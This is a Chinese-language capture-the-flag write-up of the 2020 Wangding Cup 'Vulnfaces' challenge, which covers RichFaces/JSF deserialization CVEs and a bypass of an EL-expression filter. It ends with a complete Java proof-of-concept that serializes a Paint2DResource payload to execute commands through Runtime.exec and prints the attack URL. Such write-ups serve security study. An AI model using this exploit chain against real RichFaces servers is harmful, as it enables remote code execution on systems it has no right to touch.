从2020网鼎杯决赛Vulnfaces回顾远古漏洞
前面
下载源码后发现是一个Richfaces
的框架,请求大多基于AJAX
,同时使用的JSF
,(JavaServer Faces
) 是一种用于构建 Web 应用程序的标准,两者结合就是 A4J
,Richfaces
就是这样一个框架。
踩坑
1
ViewState的反序列化漏洞
没有审计思路的时候,我就去搜索JSF
的相关漏洞,我认为会有注入表达式的漏洞。
https://www.wangan.com/docs/1735
然后找到个 Mojarra
框架对JSF
中的ViewState
的反序列化漏洞,ViewState
在这里也是有使用的。
ViewState
是个什么东西呢,http
是无状态的,ViewState
就是一种为了满足保存状态需求而出现的技术。
Java loves sending serialized objects all over the place. For example:In Http requests - Parameters,ViewState,Cookies,you name it.
这里面就存在反序列化的利用。
https://www.synacktiv.com/ressources/JSF_ViewState_InYourFace.pdf
从这篇文章中,看到漏洞存在的场景,有两个比较关键的,
ViewState
需要使用客户端存储的方法,且禁用加密方法,题目的环境配置是使用服务端来。
直接pass掉。
2
CVE-2013-2165 && CVE-2015-0279
回归主题,搜索richfaces
的漏洞
https://snyk.io/vuln/maven%3Aorg.richfaces%3Arichfaces-a4j
https://codewhitesec.blogspot.com/2018/05/poor-richfaces.html
CVE-2013-2165 看起来满足版本要求,
可能是没注意到后面的.BETA2
的缘故,我认为此版本依然可以使用此漏洞。
根据描述org.ajax4jsf.resource.ResourceBuilderImpl#getResourceDataForKey
方法中,
如果key
是DATA
开头时,就会解密后反序列化。
但是这里反序列化是使用的是LookAheadObjectInputStream
这个类,
常规Hook,只允许加载白名单里的类以及他们的子类。
org.ajax4jsf.resource.InternetResource,org.ajax4jsf.resource.SerializableResource,javax.el.Expression,javax.faces.el.MethodBinding,javax.faces.component.StateHolderSaver,java.awt.Color,org.richfaces.renderkit.html.Paint2DResource$ImageData,org.richfaces.demo.paint2d.PaintData
后来通过diff才发现这已经是更新的版本了。
https://github.com/richfaces4/core/compare/4.3.2.20130513-Final...4.3.3.20130710-Final
CVE-2015-0279(RF-13977)
的描述是可以任意EL执行,在org.richfaces.resource.MediaOutputResource
类,但是版本不合适,不存在这个类。
我访问这个链接,说我没有权限看。
https://issues.jboss.org/browse/RF-13977,
后面的漏洞多是对于此CVE的绕过和拓展。
CVE-2018-14667
这篇文章中讲到了的UserResource
也可以任意EL执行。
且内部类UriData
是属于 白名单里的类的,但是!
题目的UriData
是继承于Serializable
,执行后会抛出未授权的类,
又失败了。
解题
RF-14310
从白名单上可以看出来,只能是利用此漏洞了
漏洞描述跟 CVE-2015-0279
差不多,正好seebug
里存在此利用的分析。
上面paper
里的poc
使用了com.sun.facelets.el.LegacyMethodBinding
对象来绑定com.sun.facelets.el.TagMethodExpression
对象,前者作为中介,执行后者的getExpressionString
和invoke
方法,并处理异常。
实际的漏洞
是由com.sun.el.MethodExpressionImpl#invoke
来完成。
poc打过去有serialVersionUID
的问题,解决办法在上面先知那篇文章的评论中有说到,
我是直接添加了一个跟本地Tomcat版本一样的依赖,然后删除其他无关的以及冲突的。
发现又出错了。
跟进看一下,
org.richfaces.renderkit.html.Paint2DResource#send
方法中存在过滤,
就是不能出现 \
和(
还有 getClass
,好家伙,从表达式上说没法儿绕了,但从白名单来看确实就是要从这里打。
绕过
过滤在二者之间,
有没有一种可能,MethodBinding
或者MethodExpression
里getExpressionString
获取的表达式 和invoke
执行时使用的表达式不同。
果然https://anquan.baidu.com/article/513
这篇文章里提出了思路。
对,就是错误处理机制。
文章里把可以用的类也已经找好了,
org.jboss.seam.el.OptionalParameterMethodExpression
这个类是满足条件的,
他有个最大的特点就是 getExpressionString
和 invoke
都是使用的 this.withParam
,而在invoke抛出MethodNotFoundException
异常时,使用this.withNoParam
,
这正好满足需求,构造一个正常的com.sun.el.MethodExpressionImpl
给withParam
通过检查,且可以抛出异常,然后恶意的表达式给withNoParam
。
加个空格就可以抛出方法不存在的异常。
继续使用LegacyMethodBinding
封装,把原来exp里的TagMethodExpression
删掉换成OptionalParameterMethodExpression
就可以了,需要注意的是,这是外部包里的非显式声明为public
的类,需要反射获取构造器然后设置权限来实例化。
主要是这里的绕过思路更加新奇。
poc
import com.sun.facelets.el.LegacyMethodBinding;
import org.ajax4jsf.util.base64.URL64Codec;
import org.jboss.el.MethodExpressionImpl;
import javax.el.MethodExpression;
import javax.faces.context.FacesContext;
import javax.faces.el.MethodBinding;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.util.zip.Deflater;
public class exp {
public static void main(String[] args) throws Exception{
String pocEL = "#{request.getClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"calc\")}";
// 根据文章https://www.anquanke.com/post/id/160338
Class cls = Class.forName("javax.faces.component.StateHolderSaver");
Constructor ct = cls.getDeclaredConstructor(FacesContext.class, Object.class);
ct.setAccessible(true);
// 1. 设置ImageData
// 构造ImageData_paint
MethodExpressionImpl methodExpression1 = new MethodExpressionImpl("#{request.toString }", null, null, null, null, new Class[]{OutputStream.class, Object.class});
MethodExpressionImpl methodExpression2 = new MethodExpressionImpl(pocEL, null, null, null, null, new Class[]{OutputStream.class, Object.class});
Constructor constructor = Class.forName("org.jboss.seam.el.OptionalParameterMethodExpression").getDeclaredConstructor(MethodExpression.class,MethodExpression.class);
constructor.setAccessible(true);
MethodExpression methodExpression = (MethodExpression) constructor.newInstance(methodExpression1,methodExpression2);
MethodBinding methodBinding = new LegacyMethodBinding(methodExpression);
Object _paint = ct.newInstance(null, methodBinding);
Class clzz = Class.forName("org.richfaces.renderkit.html.Paint2DResource");
Class innerClazz[] = clzz.getDeclaredClasses();
for (Class c : innerClazz){
int mod = c.getModifiers();
String modifier = Modifier.toString(mod);
if (modifier.contains("private")){
Constructor cc = c.getDeclaredConstructor();
cc.setAccessible(true);
Object imageData = cc.newInstance(null);
// 设置ImageData_width
Field _widthField = imageData.getClass().getDeclaredField("_width");
_widthField.setAccessible(true);
_widthField.set(imageData, 300);
// 设置ImageData_height
Field _heightField = imageData.getClass().getDeclaredField("_height");
_heightField.setAccessible(true);
_heightField.set(imageData, 120);
// 设置ImageData_data
Field _dataField = imageData.getClass().getDeclaredField("_data");
_dataField.setAccessible(true);
_dataField.set(imageData, null);
// 设置ImageData_format
Field _formatField = imageData.getClass().getDeclaredField("_format");
_formatField.setAccessible(true);
_formatField.set(imageData, 2);
// 设置ImageData_paint
Field _paintField = imageData.getClass().getDeclaredField("_paint");
_paintField.setAccessible(true);
_paintField.set(imageData, _paint);
// 设置ImageData_paint
Field cacheableField = imageData.getClass().getDeclaredField("cacheable");
cacheableField.setAccessible(true);
cacheableField.set(imageData, false);
// 设置ImageData_bgColor
Field _bgColorField = imageData.getClass().getDeclaredField("_bgColor");
_bgColorField.setAccessible(true);
_bgColorField.set(imageData, 0);
// 2. 序列化
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(imageData);
objectOutputStream.flush();
objectOutputStream.close();
byteArrayOutputStream.close();
// 3. 加密(zip+base64)
byte[] pocData = byteArrayOutputStream.toByteArray();
Deflater compressor = new Deflater(1);
byte[] compressed = new byte[pocData.length + 100];
compressor.setInput(pocData);
compressor.finish();
int totalOut = compressor.deflate(compressed);
byte[] zipsrc = new byte[totalOut];
System.arraycopy(compressed, 0, zipsrc, 0, totalOut);
compressor.end();
byte[]dataArray = URL64Codec.encodeBase64(zipsrc);
// 4. 打印最后的poc
String poc = "/DATA/" + new String(dataArray, "ISO-8859-1") + ".jsf";
System.out.println(poc);
}
}
}
}
路径的获取
后面
做这个题目,找了好久的文章,虽说是远古漏洞吧,但也翻了很多文章,学到很多知识。
中间有些想放弃,https://anquan.baidu.com/article/513 ,幸好这里给了我一些思路。